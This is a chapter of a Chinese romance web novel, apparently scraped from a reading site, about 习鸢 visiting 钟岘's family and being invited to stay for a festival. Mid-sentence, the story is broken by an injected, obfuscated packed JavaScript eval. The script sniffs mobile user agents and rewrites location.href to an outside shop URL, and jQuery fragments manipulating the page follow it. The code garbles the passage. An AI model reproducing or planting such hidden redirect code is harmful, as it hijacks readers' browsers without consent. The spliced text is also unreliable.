51. 留下来

作品:《登陆葡萄岛计划

    菜做好了,钟岘和阿楠特意留出一份给顾婍。


    “重头戏,红烧鱼来啦。”


    习鸢抬眸看着端菜的中岘,眼睛和嘴角满是笑意。


    钟岘将鱼放在了最中间,他卷起围裙擦了擦指腹沾到的酱汁,有些羞赧地对习鸢说:“就是平常手艺,你别抱有太大的期待。”


    习鸢夹起一块鱼肉,其余三人都充满期待地看着她。


    习鸢嚼了嚼,掀起眼皮看向坐在她正对面的人,碰上他眼里的紧张,习鸢展颜:“这还是平常手艺呀?那你还不好外面的饭店活啦?”


    钟岘听完抿了抿唇,耳朵尖尖迅速泛红,低头掩笑:“谢谢。‘’


    习鸢喜欢吃鱼,这顿饭的鱼也是钟岘为她做的,她一个人吃了大半条,钟岘做的其他菜也很入味,习鸢好奇问钟岘:“你是练了多久才有这样的厨艺?”


    “就不能是我天赋异禀,一开始就会吗?”


    习鸢咀嚼的动作愣了一下,看向钟岘。


    他……是在和她开玩笑吗?


    钟岘在触碰到习鸢审视的目光时笑意一凝。


    怎么了?他说错话了吗?


    “我、我一开始也做不好的,”钟岘放下筷子解释,“只是后面做得多了,自然而然就会了一些,其实拿手的就这几道菜,你要是让我做一些我从来没做过的菜,我绝对做不好吃。”


    “这个我赞同!”好好高高举起来小手,“上次小画阿姨来找山哥哥做啤酒鸭,山哥哥吃得好难吃,连小鸡都不愿意吃的。”


    “咳咳!”钟岘被当众揭出了糗事,夹了一大筷子青菜到好好碗里,“多吃青菜,长高高。”


    天下所有孩子的通病,都不爱吃青菜,好好企图悄悄转移给阿楠哥哥,却被钟岘火眼金睛抓包:“自己吃掉,不许剩。”


    好好努了努嘴,委屈巴巴地看向阿楠哥哥。


    阿楠爱莫能助,只能无声为妹妹加油。


    四人一起愉快地吃完了一顿饭,只是后面好好不小心打翻了饭碗,弄脏了衣服,阿楠带她回去换衣服了。


    习鸢起身,她很有自觉,钟岘和阿楠做饭,那她就负责洗碗。


    刚要收拾碗筷,一双手就制止了她,“我来。”


    习鸢没松手,“洗碗我还是会的,总不能全让你做了吧。”


    钟岘:“你是客人,没有请客人吃饭还要洗碗的道理。”


    “客人啊……”习鸢想起饭桌上开玩笑的钟岘,脸上闪过狡黠,她想逗逗这个小男孩,看看这些年他到底变了多少,她倾身靠近:“除了客人?我就没有别的身份?”


    钟岘对于习鸢突然毫无预兆的靠近,心顿时漏跳一拍。


    她靠得好近,近到能看清她脸上的小绒毛,能看到她眼里的狡黠,能看清两个小小圆圆瞳孔里倒映出的自己,能感受到她呼出的气息都喷洒在了他脸上,钟岘攥紧了手中的碗,眼眸在眼眶里转溜一圈,朝下看了看鞋尖,两人之间不过半步的距离,转回来再次看向她。


    “钟岘,你刚才为什么突然跑开?我当时很丑吗?”


    不是!当然不是!是……是我的问题。


    钟岘唇抿得很直,紧张让他根本发不了声。


    习鸢见钟岘没有说话,但是眼睛里满是否定答案,微表情小小地噘了噘嘴,别开视线看向了别处。


    钟岘却没有挪开,他的视线犹如支画笔,认真小心又大胆贪婪地临摹过她的五官。


    两年,她变化不大,那双清凌凌的眼睛依旧吸睛,眼尾微微上扬,左鼻翼的那颗小痣倒是明显了一点,唇……钟岘的视线扫过她刚吃完饭过分红艳的唇,只短暂地停留一两秒,不敢多看,匆匆狼狈挪开眼,却不是看向别处,而是再次看向了她的眼睛。


    等待习鸢看回来时,双方都能看到被“困”在对方眼中的自己。


    “钟岘,”习鸢再次开口,神色却郑重起来,她有问题想问钟岘,一个很重要很重要,在她心里盘旋了整整两年的问题。


    钟岘静静等着她的下文,攥住碗的边缘不断收紧。


    “如果,我是说如果,”习鸢也不知道自己为什么就紧张了起来,“我……没有来……”


    “小七,小七七——”


    门外传来于霞的呐喊。


    钟岘率先回过神,赶紧退后三步拉开习鸢与他之间的距离。


    “小七!”


    于霞进屋,一眼就看见了习鸢。


    习鸢歪头露齿笑,走上前主动唤道:“于奶奶,赵叔叔。”


    于霞激动得眼角都沁出了泪花,她快七十了,是一个过了今天不知道有没有明天的年纪,所以格外珍惜与每一个人的见面,更别说是这位她从小看到长大、帮助他们家巨多的女孩。


    “小七,长得好漂亮了啊,真高,有一米七了吧?”于霞牵住习鸢的手,上下怜爱地打量着习鸢。


    “上次体检没一米七,不够我觉得我现在又长高了,应该有了。”


    习鸢仍由于霞打量她,她还特意转一个圈让于奶奶看得更仔细些。


    “好了妈,别一直拉着小七说话,怪累的。”赵耀国也很高兴再见到习鸢,但他到底是个男人,性格更内敛,他招呼习鸢坐下。


    “没事,我刚吃完饭,正好站着活动活动。”


    “怎么这个点才吃完饭?”于霞望向墙壁上的挂钟,已经将近一点半了。


    “我突然到访,打得……”习鸢看向身后的钟岘,“钟岘一个措手不及,是我不好,没有提前和你们说。”


    “没事没事,”赵耀国接话,“你这次来,你妈妈爸爸知道吧?”


    “知道的呀。”习鸢突然想起来什么,她去拿带过来的礼盒,一盒递给赵叔叔:“这里面有爸爸让给你的膏药,还有几幅中药,说是能缓解下雨天叔叔你腿的疼痛。”


    赵耀国收下:“谢谢你啊小七,让你和你爸爸都费心了。”


    “赵叔叔这么说就客气啦。”习鸢笑着说。


    “于奶奶,这盒是给你的,一些保健品。”


    “哎哟,这么沉,你拿过来很累吧?”


    “不会,我力气大着呢,一点不累。”


    钟岘收拾干净了桌子,默默一个人去厨房洗碗。


    习鸢和于霞、赵耀国聊天说话。


    “小七,你妈妈爸爸都挺好的吧?”


    “挺好的,他们都升了职,妈妈去教育局工作了,爸爸现在当上主任了。”


    “那挺好。”


    赵耀国说着,不自觉地摩挲上了那只剩下一点点的残肢。


    习鸢笑容凝了凝。


    她后知后觉自己好像说错话了,赵叔叔听完后眼底掩盖不住落寞。但她真的没有任何炫耀的意思,她只是认为和于奶奶赵叔叔关系算亲近的,说话有点不顾脑子,几乎是脱口而出,没有考虑顾忌到赵叔叔的心情。


    于霞很快就转移了话题。


    “小七,中考考得不错吧?”


    “嗯,还可以。”习鸢这次把话留了空间。


    “是三中吗?”


    习鸢以为是妈妈祈繁芜告诉的于奶奶,也只是稍稍吃惊然后就点头接话:“对呀。”


    “那真的是很巧了,”于霞明显兴奋起来,拉过习鸢的手,说:“我和你说,我们阿岘今年是全市中考状元,也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472727|196699||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    考上了三中。”


    习鸢理所应当将于奶奶的“三中”理解成阑风的三中,没有多想:“钟岘是中考状元呀?他可厉害。”


    “是啊,你不知道这最后一个学期阿岘当真是拼命,吃饭也在记单词,平均睡眠才5小时,有段时间他黑眼圈都快要掉到地上,血色差得很,我要带他去吃中药调理,他觉得浪费时间死活不愿意去。”


    习鸢听着蹙了蹙眉,“学习重要,但是身体健康才是最重要的呀。”


    “是啊,我也是这样和他说的,但他长大了,有了自己的想法,脾气也更犟了,好在,一切努力都没有白费。”


    “嗯,上天不会辜负每一个努力的人。”


    “其实啊,这几年他变了挺多的,会主动靠近人交朋友人,还自告奋勇在班上当了个班长,真的,他和以前很不一样了,还长高不少,就是还是很瘦。”


    这些于霞都有通过手机告诉习鸢,哪怕那段时间她讨厌钟岘讨厌不愿意再看到一次他的名字,但是,她其实都知道。


    钟岘洗完碗出来,赵耀国不在,大概率是回自己的房间了,堂屋只有奶奶和习鸢。


    钟岘倚靠在门边,静静地看着习鸢,看她说话,看她微笑,看她眨巴眨巴眼睛,明明都是些很平常的小举动,但是落在她身上,钟岘就是觉得,怎么也看不够。


    “小七,你今晚是要赶回酒店吗?”


    “嗯,要回去吧,不然住哪?”习鸢笑嘻嘻地说。


    “奶奶的意思是晚上这边有一场贡玛节庆祝晚会,你要是感兴趣就留下来看看?”


    于霞拿出手机打开相册,点开一段去年贡玛节上拍的视频。


    习鸢一下子就变吸引住,少数民族的活动都有一种神秘而又庄重的气氛,这种活动都是可遇不可求的,她当然不想错过。


    可是留下来也有个问题,她睡哪呢?


    整个屋子里就三个房间,习鸢不可能和赵耀国、钟岘睡,难道要和于霞挤一挤吗?


    倒不是别的,她也不认床,就是她的睡相不太好,她怕打扰到于霞休息。


    “怎么会打扰?小七你不嫌弃和我一个老太婆睡就好。”


    就在这个时候,钟岘走了过来,站在了两人面前,等习鸢发现他看向他,他才抿了抿唇,慢悠悠开口:“你可以睡我的床,我屋子里有张行军床,我搬到这里来睡就好。”


    这话一出,习鸢和于奶奶都有些愣住。


    钟岘说……说什么?


    钟岘承受不住她这样的眼神看自己,清了清嗓子,垂下眼眸:“我只是一个小建议,这个晚会真的挺好玩的。”


    他音量不高,甚至有点低,垂在裤边的双手握紧了些。


    他不再说话,静静等待她的回应。


    “我……”


    终于要听到“判决”了。


    一阵手机铃声响起,习鸢起身:“不好意思,我接一下电话。”


    钟岘看着她的背影,听到她唤电话那头的人:“师兄……”


    师兄?


    是她那个师兄吗?


    “……嗯,我到这边了,吃过饭了,严师兄,我想和你说件事。”


    习鸢能够感受到背后有道视线正盯着她,她转过身,与他对视,半晌,习鸢深呼吸一口,眸光温柔坚定:“我今晚不回酒店了。”


    “判决”已出。


    钟岘不知道自己是赌赢了还是输了。


    她愿意留下了。


    但是,她这次出现,似乎是跟她那位师兄一起,两人还住在一家酒店。


    钟岘垂下头。


    他心里竟然没有多少开心情绪。